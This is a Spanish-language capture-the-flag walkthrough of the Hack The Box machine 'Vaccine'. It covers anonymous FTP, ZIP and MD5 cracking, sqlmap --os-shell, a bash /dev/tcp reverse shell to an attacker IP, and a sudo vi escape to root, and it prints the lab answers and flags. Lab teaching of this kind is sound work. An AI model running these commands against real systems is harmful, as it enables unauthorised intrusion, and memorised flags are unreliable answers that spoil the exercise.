En esta guía
.ovpn de Starting Point, no el de Machines. El resto del flujo de conexión es el de siempre (ver 00 · Setup). En esta guía la IP objetivo es 10.129.64.156 y la del atacante (tun0) 10.10.14.33; las tuyas serán distintas.
Resumen del recorrido (contiene spoilers)
FTP anónimo
zip2john + MD5
sqlmap · os-shell
reverse shell · postgres
sudo vi → root
Entorno y versiones documentadas
- Kali Linux y VirtualBox: versiones no especificadas en la guía original.
Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.
01 · RECONOCIMIENTO
Ver solución paso a paso
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.64.15621/tcp open ftp
22/tcp open ssh
80/tcp open httpLos mismos tres de Cap. ttl=63 apunta a Linux (pista, no prueba). SSH pide credenciales (cerrado por ahora), HTTP es la web. Pero antes de la web, el puerto 21 (FTP) pide un chequeo obligatorio.
anonymous y cualquier contraseña. Es un chequeo de 20 segundos que en muchas máquinas abre la puerta antes de tocar nada más.02 · FTP ANÓNIMO + CRACKING
Ver solución paso a paso
Entrar y bajar el backup
ftp 10.129.64.156
# usuario: anonymous · contraseña: (Enter, vacía)
ftp> ls # -> backup.zip
ftp> binary # modo binario, para que el zip no se corrompa
ftp> get backup.zip
ftp> byeEl 230 Login successful confirma el acceso anónimo. Dentro hay un backup.zip. Un "backup" es de lo más goloso: suele guardar código, configuraciones o credenciales.
El ZIP está protegido: crackearlo
Al abrirlo pide contraseña. Mismo problema que un hash, misma solución: extraer la parte crackeable y romperla offline con diccionario. La herramienta es zip2john (de la suite John the Ripper).
zip2john backup.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash # -> 741852963zip2john, ssh2john, pdf2john, etc. Todos siguen el mismo patrón: convierten un archivo protegido en un hash que john puede atacar.Abrir el ZIP
unzip backup.zip # contraseña: 741852963 · contiene index.php y style.css03 · CÓDIGO FUENTE + MD5
Ver solución paso a paso
El backup.zip era una copia del sitio (index.php = la página de login). Leyendo el código aparece la comprobación del login:
cat index.php
# ...
if($_POST['username'] === 'admin' &&
md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") { ...Usuario admin, y la contraseña guardada como hash MD5. Segunda vez en esta máquina que aplicamos el mismo reflejo: hash a la vista, se crackea offline. A john conviene decirle el tipo (Raw-MD5), porque un MD5 pelado se parece a varios formatos.
echo '2cb42f8734ea607eefed3b70af13bbd3' > md5.hash
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.hash # -> qwerty789Credenciales del panel: admin / qwerty789. El código también decía que un login correcto redirige a dashboard.php: hay un panel detrás.
04 · SQL INJECTION
Ver solución paso a paso
▚ ¿Qué es una SQL injection?
Cuando escribes en un buscador, la web arma una consulta a su base de datos con tu texto dentro. Si lo mete sin limpiarlo, puedes escribir no solo un valor de búsqueda, sino trozos de la propia consulta SQL, y la base de datos los ejecuta como instrucciones. Le "inyectas" comandos.
Confirmar a mano (una comilla)
Entra al panel (admin / qwerty789) y verás el "MegaCorp Car Catalogue" con un buscador. El test más básico de SQLi es meter una comilla simple y ver si la consulta se rompe:
búsqueda: '
ERROR: unterminated quoted string at or near "'"
LINE 1: Select * from cars where name ilike '%'%'Ese error lo confirma todo: tu texto entra crudo en la consulta (tu comilla cerró la cadena antes de tiempo), y el formato del error delata el motor: PostgreSQL. La búsqueda viaja por GET en dashboard.php?search=.
Explotar con sqlmap
Confirmada la vulnerabilidad a mano, se automatiza con sqlmap. Necesita la URL, el parámetro, y tu cookie de sesión (el panel requiere login; sin la cookie, sqlmap vería el login). La cookie PHPSESSID se saca de las DevTools del navegador (F12 → Storage → Cookies).
sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
--cookie="PHPSESSID=TU_COOKIE" --batchsqlmap confirma la inyección con varias técnicas (boolean, error, stacked, time-based) y detecta PostgreSQL sobre Ubuntu. Con eso validado, viene la joya.
▚ De inyección SQL a shell: --os-shell
Cuando el motor es PostgreSQL y el usuario de la base de datos es DBA (administrador), sqlmap puede usar la técnica COPY ... FROM PROGRAM para ejecutar comandos del sistema. La opción que lo activa es --os-shell: la inyección deja de darte solo datos y te da una shell en la máquina.
sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
--cookie="PHPSESSID=TU_COOKIE" --batch --os-shell
# current user is DBA -> 1 · os-shell> whoami -> postgres05 · FOOTHOLD · SHELL ESTABLE
Ver solución paso a paso
Reverse shell desde la os-shell
La os-shell> funciona pero es lenta y no interactiva. Se usa solo para dar el salto a una shell propia, con la reverse shell de siempre (netcat a la escucha, la víctima llama de vuelta a tu IP y puerto).
# en Kali:
nc -lvnp 4444
# en la os-shell> :
bash -c 'bash -i >& /dev/tcp/10.10.14.33/4444 0>&1'Cae la conexión como postgres@vaccine. Foothold conseguido vía la SQLi.
Buscar la user flag y las credenciales
postgres es un usuario de servicio; su flag está en su home. Y el código del dashboard, que se conecta a la base de datos, guarda la contraseña en claro:
cat /var/lib/postgresql/user.txt # user flag
cat /var/www/html/dashboard.php
# pg_connect("host=localhost ... user=postgres password=P@s5w0rd!")P@s5w0rd! del dashboard no es solo de la base de datos: es la contraseña de la cuenta del sistema postgres (lo confirma que sudo la acepta más adelante). Reutilización de credenciales, el reflejo de Cap.06 · ESCALADA · SUDO VI
Ver solución paso a paso
La vía limpia: SSH como postgres
Como P@s5w0rd! es la contraseña de la cuenta postgres, en vez de pelear con la reverse shell conviene entrar por SSH, que da una terminal de verdad desde el principio (clave para el paso siguiente):
ssh postgres@10.129.64.156 # contraseña: P@s5w0rd!Ver qué permite sudo
sudo -l
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf▚ vi con sudo = root (GTFOBins)
El permiso parece inofensivo (editar un archivo), pero vi puede ejecutar comandos del sistema desde dentro. Si corre como root (por el sudo), la shell que abras también será de root. Es el mismo patrón de escalada de Knife (binario permitido vía sudo → GTFOBins, sección Sudo).
El escape a root
Abre vi con el comando exacto autorizado y, dentro del editor, escapa a una shell:
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# si avisa de un swap file previo: pulsa la tecla 'e' (Edit anyway)
# dentro de vi, en modo normal, escribe:
:!/bin/bash
# el prompt pasa a # · whoami -> root
cat /root/root.txt # root flagsudo /bin/vi ... -c ':!...' lo rechaza: sudo compara carácter por carácter y cualquier argumento extra ya no coincide. El escape se hace dentro de vi, no como argumento.07 · CUANDO LA SHELL NO COOPERA
Ver solución paso a paso
Una reverse shell no es una terminal "de verdad": le falta un TTY. Sin él, cosas interactivas como su, ssh o el escape de vi se caen con errores tipo no job control o Inappropriate ioctl for device. Estabilizar el TTY es el paso que lo arregla.
Estabilización completa de TTY
# 1) en la reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2) pulsa Ctrl+Z (suspende la shell, vuelves a Kali)
# 3) en Kali:
stty raw -echo; fg
# 4) pulsa Enter un par de veces
# 5) da contexto al terminal:
export TERM=xtermstty. En Vaccine, entrar por SSH como postgres es lo que hace que el sudo vi funcione sin pelear.Contraseñas sin terminal: sudo -S
Si sudo se queja de a terminal is required to read the password, puedes pasarle la contraseña por la entrada estándar con -S (aunque para un comando interactivo como vi igual necesitarás TTY):
echo 'P@s5w0rd!' | sudo -S -lTASKS · GUIDED MODE
Mostrar respuestas del laboratorio
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Task | Respuesta |
|---|---|
| Además de SSH y HTTP, ¿qué otro servicio hay? | ftp |
| Usuario que permite login con cualquier contraseña | anonymous |
| Nombre del archivo descargado por ese servicio | backup.zip |
| Script de John que saca el hash de un ZIP protegido | zip2john |
| Contraseña del usuario admin del sitio web | qwerty789 |
| Opción de sqlmap para lograr ejecución de comandos | --os-shell |
| Programa que postgres corre como root con sudo | vi |
| User flag (home de postgres) | ec9b13ca4d6229cd5cc1e09980965bf7 |
| Root flag (home de root) | dd6e058e814260bc70e9bbdef2715849 |
CONCEPTOS NUEVOS (vs LA SERIE)
GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.
- GENERALFTP anónimo: puerto 21 abierto = probar
anonymouscon contraseña vacía antes que nada. - GENERALCracking de archivos protegidos: la familia
*2john(zip2john, ssh2john, pdf2john) convierte un archivo en un hash atacable. - GENERALLeer el código fuente: los archivos de una web guardan hashes y credenciales (login, cadenas de conexión a la BD).
- GENERALSQL injection: confirmar a mano con una comilla (ver el error), luego explotar con
sqlmap(cookie incluida). - GENERALRCE vía SQLi:
--os-shellcuando el usuario de la BD es DBA. La inyección da shell, no solo datos. - GENERALEstabilización de TTY:
python3 -c pty+stty raw -echo; fgpara quesu/vino se caigan. - GENERALSSH > reverse shell: con credenciales válidas, entra por SSH y evita todo el problema del terminal.
- GENERALsudo respeta lo que diga la regla: mira el
sudo -ly fíjate si autoriza solo el binario o el binario con argumentos fijos. Si incluye argumentos (como aquí,vicon una ruta concreta), sudo compara carácter por carácter y no acepta argumentos extra. Si autoriza solo el binario (comoknifeen Knife), puedes pasarle los argumentos que quieras. - GENERALvi/sudo (GTFOBins): escape a root con
:!/bin/bashdesde dentro del editor. - GENERALDiagnostica lo tonto: a veces el muro no es el exploit, es el layout del teclado (
setxkbmap).